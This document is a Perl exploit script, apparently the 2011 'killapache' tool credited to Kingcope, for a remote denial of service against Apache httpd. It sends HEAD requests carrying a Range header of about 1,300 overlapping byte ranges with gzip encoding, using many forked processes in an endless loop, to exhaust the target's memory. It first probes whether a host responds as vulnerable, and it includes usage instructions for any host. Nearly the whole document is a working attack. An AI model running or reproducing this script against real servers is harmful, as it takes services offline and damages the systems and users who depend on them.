Apache httpd Remote Denial of Service (memory exhaustion)

                                                #Apache httpd Remote Denial of Service (memory exhaustion)
#By Kingcope
#Year 2011
#
# Will result in swapping memory to filesystem on the remote side
# plus killing of processes when running out of swap space.
# Remote System becomes unstable.
#
 
use IO::Socket;
use Parallel::ForkManager;
 
sub usage {
    print "Apache Remote Denial of Service (memory exhaustion)\n";
    print "by Kingcope\n";
    print "usage: perl killapache.pl <host> [numforks]\n";
    print "example: perl killapache.pl www.example.com 50\n";
}
 
sub killapache {
print "ATTACKING $ARGV[0] [using $numforks forks]\n";
     
$pm = new Parallel::ForkManager($numforks);
 
$|=1;
srand(time());
$p = "";
for ($k=0;$k<1300;$k++) {
    $p .= ",5-$k";
}
 
for ($k=0;$k<$numforks;$k++) {
my $pid = $pm->start and next;  
     
$x = "";
my $sock = IO::Socket::INET->new(PeerAddr => $ARGV[0],
                                 PeerPort => "80",
                                 Proto    => 'tcp');
 
$p = "HEAD / HTTP/1.1\r\nHost: $ARGV[0]\r\nRange:bytes=0-$p\r\nAccept-Encoding: gzip\r\nConnection: close\r\n\r\n";
print $sock $p;
 
while(<$sock>) {
}
 $pm->finish;
}
$pm->wait_all_children;
print ":pPpPpppPpPPppPpppPp\n";
}
 
sub testapache {
my $sock = IO::Socket::INET->new(PeerAddr => $ARGV[0],
                                 PeerPort => "80",
                                 Proto    => 'tcp');
 
$p = "HEAD / HTTP/1.1\r\nHost: $ARGV[0]\r\nRange:bytes=0-$p\r\nAccept-Encoding: gzip\r\nConnection: close\r\n\r\n";
print $sock $p;
 
$x = <$sock>;
if ($x =~ /Partial/) {
    print "host seems vuln\n";
    return 1;  
} else {
    return 0;  
}
}
 
if ($#ARGV < 0) {
    usage;
    exit;  
}
 
if ($#ARGV > 1) {
    $numforks = $ARGV[1];
} else {$numforks = 50;}
 
$v = testapache();
if ($v == 0) {
    print "Host does not seem vulnerable\n";
    exit;  
}
while(1) {
killapache();
}